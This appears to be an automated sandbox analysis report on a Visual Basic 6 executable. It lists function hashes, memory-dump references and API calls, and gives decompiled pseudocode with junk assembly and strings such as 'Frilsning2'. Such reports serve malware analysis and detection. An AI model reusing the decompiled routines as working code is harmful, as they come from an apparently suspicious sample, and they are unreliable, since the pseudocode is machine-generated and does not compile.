Opcode Fuzzy Hash: 179566e5c1f767da79aac0cb89ceacfa0828a55e759b06682738bb150248ecca
Instruction Fuzzy Hash: 26317B82A3EA588AC2076D2084406712D4CEA97393370DF7B4593B51F2FA3E4F4B34C9

Uniqueness

Uniqueness Score: -1.00%

Function 004034EA, Relevance: 1.5, APIs: 1, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1f5cd466ed0c6e1bd89c2ff4a18d8b08c31d2124a3502cabfb8d2e9c30d84a2b
Instruction ID: 5e1015d4b1e137110e49b7ff90a49114c3dcea6ef062c085d9d484653110f3cc
Opcode Fuzzy Hash: 1f5cd466ed0c6e1bd89c2ff4a18d8b08c31d2124a3502cabfb8d2e9c30d84a2b
Instruction Fuzzy Hash: C031814293EA548BD20A6D2088806752D4CEAD7297370DF7F4593B51E1AA3E4F4B34D9

Uniqueness

Uniqueness Score: -1.00%

Function 00403206, Relevance: 1.5, APIs: 1, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 57aaced974522f7e36d9b432f6812695f6ff75841968182a2c9fc6760b19ea37
Instruction ID: a0e05e928daa3fc37daf7bf7228cf5edd6c96d4ab9f54957da40bf4bc26122ee
Opcode Fuzzy Hash: 57aaced974522f7e36d9b432f6812695f6ff75841968182a2c9fc6760b19ea37
Instruction Fuzzy Hash: 8C416C8297DA58CAD2066D20C4846716D4CEA97387370CE7B45A3F51F1BA3E0F4B24C9

Uniqueness

Uniqueness Score: -1.00%

Function 004035E5, Relevance: 1.4, APIs: 1, Instructions: 196memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4dbf4523f4f5a660c723f5e2d82490bc8be3018221120d093f8143179d0963cd
Instruction ID: 07c3d49ac4dccbd4b3faa90a66fb7b8397d37af12f51e83873ed7c49f94cc1af
Opcode Fuzzy Hash: 4dbf4523f4f5a660c723f5e2d82490bc8be3018221120d093f8143179d0963cd
Instruction Fuzzy Hash: F821C182A3DA548BC6066D2084801752C4CEAD7397330DB7B4593B61E2FA3F4F4B34C9

Uniqueness

Uniqueness Score: -1.00%

Function 0040344C, Relevance: 1.4, APIs: 1, Instructions: 193
memoryCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E0040344C() {
				void* _t18;
				void* _t20;
				intOrPtr* _t29;
				intOrPtr* _t40;

				es = _t20;
				if(_t18 - 1 < 0) {
					L5:
					L6:
					asm("cld");
					asm("fld1");
					asm("psllw xmm1, 0xeb");
					goto L5;
				}
				_pop(_t29);
				_t40 = _t29;
				_push(0x1001);
				asm("fldln2");
				asm("emms");
				asm("cld");
				 *_t40 =  *_t40 - 1;
				asm("f2xm1");
				goto L6;
			}

0x0040344e
0x0040344f
0x0040347f
0x00403489
0x00403489
0x0040348c
0x0040348e
0x00000000
0x0040348e
0x004033e4
0x004033e5
0x004033e7
0x004033ed
0x004033ef
0x00403443
0x00403444
0x00403448
0x00000000

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f1819c69ba660c8231382fe6115fe10ef17b42d924e2d0db48b8c7cdfa16b769
Instruction ID: 077eeb4e9044e69a633e0949205793f960e9cc1ff139d27bbbf8a80c5edcd1a4
Opcode Fuzzy Hash: f1819c69ba660c8231382fe6115fe10ef17b42d924e2d0db48b8c7cdfa16b769
Instruction Fuzzy Hash: 20416D52A3DA588BC60A6D2084805753D4CEA97393370DF7B85A3B51E1EA3E4B4B64C9

Uniqueness

Uniqueness Score: -1.00%

Function 004032A6, Relevance: 1.4, APIs: 1, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: df42d004a71254fb8ac6b08fa383ca1280e64f6c5b0f3ccf033738729157204e
Instruction ID: 6d097bfaabf2beb1d845bb238a595a53212c97913f8ec3677361c0a106f8ed6f
Opcode Fuzzy Hash: df42d004a71254fb8ac6b08fa383ca1280e64f6c5b0f3ccf033738729157204e
Instruction Fuzzy Hash: 4E416D9293DA58CAD2066D20C4846716D4CEA97397370DF7B49A3B51F2BA3E0F4B34C9

Uniqueness

Uniqueness Score: -1.00%

Function 0040353D, Relevance: 1.4, APIs: 1, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000B000), ref: 00403634

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 02705664b474a1daf33210657f07c516cc8dde3b005d964e22bee7afb29406b2
Instruction ID: 4f7818bd259ff5027b3b75399a20891a7214ce9a853d0e64009bf46cbc0437a6
Opcode Fuzzy Hash: 02705664b474a1daf33210657f07c516cc8dde3b005d964e22bee7afb29406b2
Instruction Fuzzy Hash: 86317F8293DA548BC6076D2084401753D4CEAD7397371DB7B4593B61E2EA3E0F4B34D9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004017E9, Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb5f680e49d839fbfd8e0d8f7424295198c73d1c2b5e0ce248846ad0c75a3313
Instruction ID: 66779e33708b624cb1e06704089130015e71e8a78ebbd5beed843ceb652affa8
Opcode Fuzzy Hash: cb5f680e49d839fbfd8e0d8f7424295198c73d1c2b5e0ce248846ad0c75a3313
Instruction Fuzzy Hash: E041269125E2D4EFC71B47B64CBA2813FE16E07104B1A88EFD6C54B8A3E519241FD727

Uniqueness

Uniqueness Score: -1.00%

Function 00401A29, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 428acb89cf9b99c871daf00860136c15476c4425046302523451e5537aac81d0
Instruction ID: ca188a72de3c5ad16c4800c61484eb54314e7ef8d45a9d797dba8be1467a3c68
Opcode Fuzzy Hash: 428acb89cf9b99c871daf00860136c15476c4425046302523451e5537aac81d0
Instruction Fuzzy Hash: 3D21AA7150D3D5DFCB174B748C652517FB0AF1B20170A44EBD8819F8A7E268281AD727

Uniqueness

Uniqueness Score: -1.00%

Function 004019DC, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 072463a7c437865975a3864d9424ff10385e28a77ccb1411e9edc6cac81fba01
Instruction ID: 3a4f40afd7daac755765d0dbc513794409bb1d663c47dbf88c845af7c1cdfe86
Opcode Fuzzy Hash: 072463a7c437865975a3864d9424ff10385e28a77ccb1411e9edc6cac81fba01
Instruction Fuzzy Hash: CBF07A70124154EFCB06CF74D8A5A063BE1AF5B3407451CDAD9108F475D736B865EB12

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF54, Relevance: 72.3, APIs: 48, Instructions: 326
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040BF54(void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v28;
				char* _v32;
				char* _v36;
				void* _v40;
				signed int _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				signed int _v72;
				char _v80;
				intOrPtr _v88;
				char _v96;
				short _v104;
				char _v112;
				char _v128;
				char _v144;
				char* _v152;
				char _v160;
				intOrPtr _v200;
				char _v208;
				char* _v212;
				short _v216;
				char* _v220;
				signed int _v224;
				signed int _v228;
				char* _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v260;
				char* _t156;
				void* _t157;
				char* _t158;
				char* _t161;
				char* _t164;
				signed short _t173;
				char* _t185;
				intOrPtr _t186;
				signed int _t188;
				short _t199;
				char* _t204;
				intOrPtr _t211;
				void* _t213;
				void* _t216;
				void* _t220;
				char* _t225;
				void* _t243;
				void* _t246;
				void* _t247;
				void* _t248;
				void* _t250;
				intOrPtr _t251;
				void* _t252;
				intOrPtr _t253;

				_t246 = __esi;
				_t243 = __edi;
				_t220 = __ebx;
				_t248 = _t250;
				asm("in al, dx");
				_t251 = _t250 - 0xc;
				 *[fs:0x0] = _t251;
				L004011F0();
				_v16 = _t251;
				_v12 = E00401120;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4011f6, _t247);
				_push( &_v28);
				_push(0x2003f);
				 *__edx =  *__edx + __ecx;
				_push( *_a12);
				_t156 =  &_v60;
				_push(_t156);
				L00401376();
				_push(_t156);
				_t157 = _a8;
				_push( *_t157);
				E0040B610();
				_v212 = _t157;
				L00401370();
				_push(_v60);
				_push(_a12);
				L0040136A();
				_t158 = _v212;
				_v36 = _t158;
				L00401364();
				if(_v36 == 0) {
					_v72 = _v72 & 0x00000000;
					_v80 = 2;
					_push( &_v80);
					_push(0x400);
					L00401358();
					L0040135E();
					L00401352();
					_v56 = 0x400;
					_push( &_v56);
					_push(_v52);
					_t161 =  &_v64;
					_push(_t161);
					L00401376();
					_push(_t161);
					_push( &_v40);
					_push(0);
					_push( *_a16);
					_t164 =  &_v60;
					_push(_t164);
					L00401376();
					_push(_t164);
					_push(_v28);
					E0040B674();
					_v212 = _t164;
					L00401370();
					_push(_v60);
					_push(_a16);
					L0040136A();
					_push(_v64);
					_push( &_v52);
					L0040136A();
					_v36 = _v212;
					_push( &_v64);
					_t158 =  &_v60;
					_push(_t158);
					_push(2);
					L0040134C();
					_t252 = _t251 + 0xc;
					if(_v36 == 0) {
						_v72 = 1;
						_v80 = 2;
						_v152 =  &_v52;
						_v160 = 0x4008;
						_push( &_v80);
						_push(_v56);
						_push( &_v160);
						_push( &_v96);
						L0040133A();
						_push( &_v96);
						_t173 =  &_v60;
						_push(_t173);
						L00401340();
						_push(_t173);
						L00401346();
						asm("sbb eax, eax");
						_v216 =  ~( ~_t173 + 1);
						_t225 =  &_v60;
						L00401364();
						_push( &_v96);
						_push( &_v80);
						_push(2);
						L00401334();
						_t253 = _t252 + 0xc;
						if(_v216 == 0) {
							_v152 =  &_v52;
							_v160 = 0x4008;
							_push(_v56);
							_push( &_v160);
							_push( &_v80);
							L00401328();
							_push( &_v80);
							L0040132E();
							L0040135E();
							L00401352();
							goto L11;
						} else {
							_v152 =  &_v52;
							_v160 = 0x4008;
							_t216 = _v56 - 1;
							if(_t216 < 0) {
								L25:
								L004012FE();
								_push(_t248);
								_push(_t225);
								_push(_t225);
								_push(0x4011f6);
								_push( *[fs:0x0]);
								 *[fs:0x0] = _t253;
								_t213 = 0x10;
								L004011F0();
								_push(_t220);
								_push(_t246);
								_push(_t243);
								_v248 = _t253;
								_v244 = 0x401130;
								_v260 = 0xa066336a;
								_push(0xfbfc2c3d);
								_push(0x40262a);
								return _t213;
							} else {
								_push(_t216);
								_push( &_v160);
								_push( &_v80);
								L00401328();
								_push( &_v80);
								L0040132E();
								L0040135E();
								L00401352();
								L11:
								_v220 = _v40;
								_t185 = _v220;
								_v240 = _t185;
								if(_v240 == 1) {
									L00401322();
									goto L21;
								} else {
									if(_v240 == 4) {
										_v228 = 1;
										_v224 = _v224 | 0xffffffff;
										_push(_v52);
										L0040131C();
										_v32 = _t185;
										while(_v32 >= _v228) {
											_v200 =  *_a20;
											_v208 = 8;
											_v72 = 1;
											_v80 = 2;
											_v152 =  &_v52;
											_v160 = 0x4008;
											_push( &_v80);
											_push(_v32);
											_push( &_v160);
											_push( &_v96);
											L0040133A();
											_push( &_v96);
											_t199 =  &_v60;
											_push(_t199);
											L00401340();
											_push(_t199);
											L00401346();
											_v104 = _t199;
											_v112 = 2;
											_push( &_v112);
											_push( &_v128);
											L00401310();
											_push( &_v208);
											_push( &_v128);
											_t204 =  &_v144;
											_push(_t204);
											L00401316();
											_push(_t204);
											L0040132E();
											L0040135E();
											_t225 =  &_v60;
											L00401364();
											_push( &_v144);
											_push( &_v128);
											_push( &_v112);
											_push( &_v96);
											_push( &_v80);
											_push(5);
											L00401334();
											_t253 = _t253 + 0x18;
											_t211 = _v32 + _v224;
											if(_t211 < 0) {
												goto L25;
											} else {
												_v32 = _t211;
												continue;
											}
											goto L27;
										}
										_v88 = 0x80020004;
										_v96 = 0xa;
										_push(0x40b714);
										_t188 = _a20;
										_push( *_t188);
										L00401304();
										_v72 = _t188;
										_v80 = 8;
										_push(1);
										_push(1);
										_push( &_v96);
										_push( &_v80);
										L0040130A();
										L0040135E();
										_push( &_v96);
										_t185 =  &_v80;
										_push(_t185);
										_push(2);
										L00401334();
										goto L21;
									} else {
										L21:
										_v48 = _v48 | 0x0000ffff;
										_push(_v28);
										E0040B6B8();
										_v212 = _t185;
										L00401370();
										_t186 = _v212;
										_v36 = _t186;
										goto L23;
									}
								}
							}
						}
					} else {
						goto L22;
					}
				} else {
					L22:
					L00401322();
					_v48 = _v48 & 0x00000000;
					_push(_v28);
					E0040B6B8();
					_v212 = _t158;
					L00401370();
					_t186 = _v212;
					_v36 = _t186;
					L23:
					_push(E0040C3D2);
					L00401364();
					return _t186;
				}
				L27:
			}

0x0040bf54
0x0040bf54
0x0040bf54
0x0040bf55
0x0040bf56
0x0040bf57
0x0040bf66
0x0040bf72
0x0040bf7a
0x0040bf7d
0x0040bf84
0x0040bf93
0x0040bf99
0x0040bf9a
0x0040bf9e
0x0040bfa4
0x0040bfa6
0x0040bfa9
0x0040bfaa
0x0040bfaf
0x0040bfb0
0x0040bfb3
0x0040bfb5
0x0040bfba
0x0040bfc0
0x0040bfc5
0x0040bfc8
0x0040bfcb
0x0040bfd0
0x0040bfd6
0x0040bfdc
0x0040bfe5
0x0040bfec
0x0040bff0
0x0040bffa
0x0040bffb
0x0040c000
0x0040c00a
0x0040c012
0x0040c017
0x0040c021
0x0040c022
0x0040c025
0x0040c028
0x0040c029
0x0040c02e
0x0040c032
0x0040c033
0x0040c038
0x0040c03a
0x0040c03d
0x0040c03e
0x0040c043
0x0040c044
0x0040c047
0x0040c04c
0x0040c052
0x0040c057
0x0040c05a
0x0040c05d
0x0040c062
0x0040c068
0x0040c069
0x0040c074
0x0040c07a
0x0040c07b
0x0040c07e
0x0040c07f
0x0040c081
0x0040c086
0x0040c08d
0x0040c094
0x0040c09b
0x0040c0a5
0x0040c0ab
0x0040c0b8
0x0040c0b9
0x0040c0c2
0x0040c0c6
0x0040c0c7
0x0040c0cf
0x0040c0d0
0x0040c0d3
0x0040c0d4
0x0040c0d9
0x0040c0da
0x0040c0e2
0x0040c0e7
0x0040c0ee
0x0040c0f1
0x0040c0f9
0x0040c0fd
0x0040c0fe
0x0040c100
0x0040c105
0x0040c111
0x0040c163
0x0040c169
0x0040c173
0x0040c17c
0x0040c180
0x0040c181
0x0040c189
0x0040c18a
0x0040c194
0x0040c19c
0x00000000
0x0040c113
0x0040c116
0x0040c11c
0x0040c129
0x0040c12c
0x0040c3fb
0x0040c3fb
0x0040c400
0x0040c403
0x0040c404
0x0040c405
0x0040c410
0x0040c411
0x0040c41a
0x0040c41b
0x0040c420
0x0040c421
0x0040c422
0x0040c423
0x0040c426
0x0040c42d
0x0040c43f
0x0040c440
0x0040c441
0x0040c132
0x0040c132
0x0040c139
0x0040c13d
0x0040c13e
0x0040c146
0x0040c147
0x0040c151
0x0040c159
0x0040c1a1
0x0040c1a4
0x0040c1aa
0x0040c1b0
0x0040c1bd
0x0040c1d3
0x00000000
0x0040c1bf
0x0040c1c6
0x0040c1dd
0x0040c1e7
0x0040c1ee
0x0040c1f1
0x0040c1f6
0x0040c20d
0x0040c221
0x0040c227
0x0040c231
0x0040c238
0x0040c242
0x0040c248
0x0040c255
0x0040c256
0x0040c25f
0x0040c263
0x0040c264
0x0040c26c
0x0040c26d
0x0040c270
0x0040c271
0x0040c276
0x0040c277
0x0040c27c
0x0040c280
0x0040c28a
0x0040c28e
0x0040c28f
0x0040c29a
0x0040c29e
0x0040c29f
0x0040c2a5
0x0040c2a6
0x0040c2ab
0x0040c2ac
0x0040c2b6
0x0040c2bb
0x0040c2be
0x0040c2c9
0x0040c2cd
0x0040c2d1
0x0040c2d5
0x0040c2d9
0x0040c2da
0x0040c2dc
0x0040c2e1
0x0040c1fe
0x0040c204
0x00000000
0x0040c20a
0x0040c20a
0x00000000
0x0040c20a
0x00000000
0x0040c204
0x0040c2e9
0x0040c2f0
0x0040c2f7
0x0040c2fc
0x0040c2ff
0x0040c301
0x0040c306
0x0040c309
0x0040c310
0x0040c312
0x0040c317
0x0040c31b
0x0040c31c
0x0040c326
0x0040c32e
0x0040c32f
0x0040c332
0x0040c333
0x0040c335
0x00000000
0x0040c1c8
0x0040c33d
0x0040c33d
0x0040c342
0x0040c345
0x0040c34a
0x0040c350
0x0040c355
0x0040c35b
0x00000000
0x0040c35b
0x0040c1c6
0x0040c1bd
0x0040c12c
0x0040c08f
0x00000000
0x0040c08f
0x0040bfe7
0x0040c360
0x0040c368
0x0040c36d
0x0040c372
0x0040c375
0x0040c37a
0x0040c380
0x0040c385
0x0040c38b
0x0040c38e
0x0040c38e
0x0040c3cc
0x0040c3d1
0x0040c3d1
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040BF72
__vbaStrToAnsi.MSVBVM60(?,004011F6,00000000,0002003F,?,?,?,?,?,004011F6), ref: 0040BFAA
__vbaSetSystemError.MSVBVM60(?,00000000,?,004011F6,00000000,0002003F,?,?,?,?,?,004011F6), ref: 0040BFC0
__vbaStrToUnicode.MSVBVM60(004011F6,00000000,?,00000000,?,004011F6,00000000,0002003F,?,?,?,?,?,004011F6), ref: 0040BFCB
__vbaFreeStr.MSVBVM60(004011F6,00000000,?,00000000,?,004011F6,00000000,0002003F,?,?,?,?,?,004011F6), ref: 0040BFDC
#606.MSVBVM60(00000400,00000002), ref: 0040C000
__vbaStrMove.MSVBVM60(00000400,00000002), ref: 0040C00A
__vbaFreeVar.MSVBVM60(00000400,00000002), ref: 0040C012
__vbaStrToAnsi.MSVBVM60(?,004011F6,00000400,00000400,00000002), ref: 0040C029
__vbaStrToAnsi.MSVBVM60(00000000,?,00000000,?,00000000,?,004011F6,00000400,00000400,00000002), ref: 0040C03E
__vbaSetSystemError.MSVBVM60(?,00000000,00000000,?,00000000,?,00000000,?,004011F6,00000400,00000400,00000002), ref: 0040C052
__vbaStrToUnicode.MSVBVM60(?,00000000,?,00000000,00000000,?,00000000,?,00000000,?,004011F6,00000400,00000400,00000002), ref: 0040C05D
__vbaStrToUnicode.MSVBVM60(004011F6,?,?,00000000,?,00000000,00000000,?,00000000,?,00000000,?,004011F6,00000400,00000400,00000002), ref: 0040C069
__vbaFreeStrList.MSVBVM60(00000002,00000000,?,004011F6,?,?,00000000,?,00000000,00000000,?,00000000,?,00000000,?,004011F6), ref: 0040C081
__vbaStrCopy.MSVBVM60(004011F6,00000000,?,00000000,?,004011F6,00000000,0002003F,?), ref: 0040C368
__vbaSetSystemError.MSVBVM60(?), ref: 0040C380
__vbaFreeStr.MSVBVM60(0040C3D2,?), ref: 0040C3CC

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$AnsiErrorSystemUnicode$#606ChkstkCopyListMove
String ID:
API String ID: 3225542645-0
Opcode ID: 0944cb47fdce102daee19ff8f87456c7f7a90a3bbeeec0102885aa7a7f726535
Instruction ID: ad4d9ed4f12ae685d6b84c0e32e8b91e0e7479c7f8be7baaf77f83ddb768d7d7
Opcode Fuzzy Hash: 0944cb47fdce102daee19ff8f87456c7f7a90a3bbeeec0102885aa7a7f726535
Instruction Fuzzy Hash: E7D1B8B1D00218EAEB10EFE5C845FDEB7B8BF04704F00856AF515B71A1DB389A458F69

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9A5, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040E9A5(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v60;
				char _v68;
				intOrPtr _v76;
				intOrPtr _v84;
				void* _v88;
				signed int _v92;
				intOrPtr* _v96;
				signed int _v100;
				intOrPtr* _v108;
				signed int _v112;
				signed int _v116;
				signed int _t47;
				signed int _t51;
				signed int _t57;
				intOrPtr _t78;

				_push(0x4011f6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t78;
				_push(0x60);
				L004011F0();
				_v12 = _t78;
				_v8 = 0x4011a0;
				L004012D4();
				_v60 = 1;
				_v68 = 2;
				_t47 =  &_v68;
				_push(_t47);
				_push(2);
				_push(L"FGFG");
				L0040128C();
				L0040135E();
				_push(_t47);
				_push(0x40b884);
				L00401292();
				asm("sbb eax, eax");
				_v88 =  ~( ~( ~_t47));
				L00401364();
				L00401352();
				_t51 = _v88;
				if(_t51 != 0) {
					if( *0x4103c4 != 0) {
						_v108 = 0x4103c4;
					} else {
						_push(0x4103c4);
						_push(0x40b8c4);
						L004012E0();
						_v108 = 0x4103c4;
					}
					_v88 =  *_v108;
					_t57 =  *((intOrPtr*)( *_v88 + 0x1c))(_v88,  &_v52);
					asm("fclex");
					_v92 = _t57;
					if(_v92 >= 0) {
						_v112 = _v112 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x40b8b4);
						_push(_v88);
						_push(_v92);
						L004012EC();
						_v112 = _t57;
					}
					_v96 = _v52;
					_v76 = 0x80020004;
					_v84 = 0xa;
					L004011F0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t51 =  *((intOrPtr*)( *_v96 + 0x60))(_v96, L"Frilsning2", 0x10);
					asm("fclex");
					_v100 = _t51;
					if(_v100 >= 0) {
						_v116 = _v116 & 0x00000000;
					} else {
						_push(0x60);
						_push(0x40b8d4);
						_push(_v96);
						_push(_v100);
						L004012EC();
						_v116 = _t51;
					}
					L004012DA();
				}
				_push(E0040EB29);
				L00401352();
				return _t51;
			}

0x0040e9aa
0x0040e9b5
0x0040e9b6
0x0040e9bd
0x0040e9c0
0x0040e9c8
0x0040e9cb
0x0040e9d8
0x0040e9dd
0x0040e9e4
0x0040e9eb
0x0040e9ee
0x0040e9ef
0x0040e9f1
0x0040e9f6
0x0040ea00
0x0040ea05
0x0040ea06
0x0040ea0b
0x0040ea12
0x0040ea18
0x0040ea1f
0x0040ea27
0x0040ea2c
0x0040ea32
0x0040ea3f
0x0040ea59
0x0040ea41
0x0040ea41
0x0040ea46
0x0040ea4b
0x0040ea50
0x0040ea50
0x0040ea65
0x0040ea74
0x0040ea77
0x0040ea79
0x0040ea80
0x0040ea99
0x0040ea82
0x0040ea82
0x0040ea84
0x0040ea89
0x0040ea8c
0x0040ea8f
0x0040ea94
0x0040ea94
0x0040eaa0
0x0040eaa3
0x0040eaaa
0x0040eab4
0x0040eabe
0x0040eabf
0x0040eac0
0x0040eac1
0x0040eacf
0x0040ead2
0x0040ead4
0x0040eadb
0x0040eaf4
0x0040eadd
0x0040eadd
0x0040eadf
0x0040eae4
0x0040eae7
0x0040eaea
0x0040eaef
0x0040eaef
0x0040eafb
0x0040eafb
0x0040eb00
0x0040eb23
0x0040eb28

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040E9C0
__vbaVarDup.MSVBVM60(?,?,?,?,004011F6), ref: 0040E9D8
#631.MSVBVM60(FGFG,00000002,00000002), ref: 0040E9F6
__vbaStrMove.MSVBVM60(FGFG,00000002,00000002), ref: 0040EA00
__vbaStrCmp.MSVBVM60(0040B884,00000000,FGFG,00000002,00000002), ref: 0040EA0B
__vbaFreeStr.MSVBVM60(0040B884,00000000,FGFG,00000002,00000002), ref: 0040EA1F
__vbaFreeVar.MSVBVM60(0040B884,00000000,FGFG,00000002,00000002), ref: 0040EA27
__vbaNew2.MSVBVM60(0040B8C4,004103C4,0040B884,00000000,FGFG,00000002,00000002), ref: 0040EA4B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B8B4,0000001C,?,?,?,?,?,0040B884,00000000,FGFG,00000002,00000002), ref: 0040EA8F
__vbaChkstk.MSVBVM60(?,?,?,?,?,0040B884,00000000,FGFG,00000002,00000002), ref: 0040EAB4
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B8D4,00000060,?,?,?,?,?,0040B884,00000000,FGFG,00000002,00000002), ref: 0040EAEA
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,0040B884,00000000,FGFG,00000002,00000002), ref: 0040EAFB
__vbaFreeVar.MSVBVM60(0040EB29,0040B884,00000000,FGFG,00000002,00000002), ref: 0040EB23

Strings

FGFG, xrefs: 0040E9F1
Frilsning2, xrefs: 0040EAC2

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckChkstkHresult$#631MoveNew2
String ID: FGFG$Frilsning2
API String ID: 4275662335-4153104560
Opcode ID: 73f31043e6e15abec567c5df0a8a181b4ffa783b99c769c67dbc9d85dd524474
Instruction ID: b31dd549ca70da68c30525cf67879dee4e61a1e72b0761022d66ae432f0f8772
Opcode Fuzzy Hash: 73f31043e6e15abec567c5df0a8a181b4ffa783b99c769c67dbc9d85dd524474
Instruction Fuzzy Hash: 4C41E471A50218AFDB00EFE5C846BDDBBB5BF08704F20442AE502BB2E1DBB85855CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8DA, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

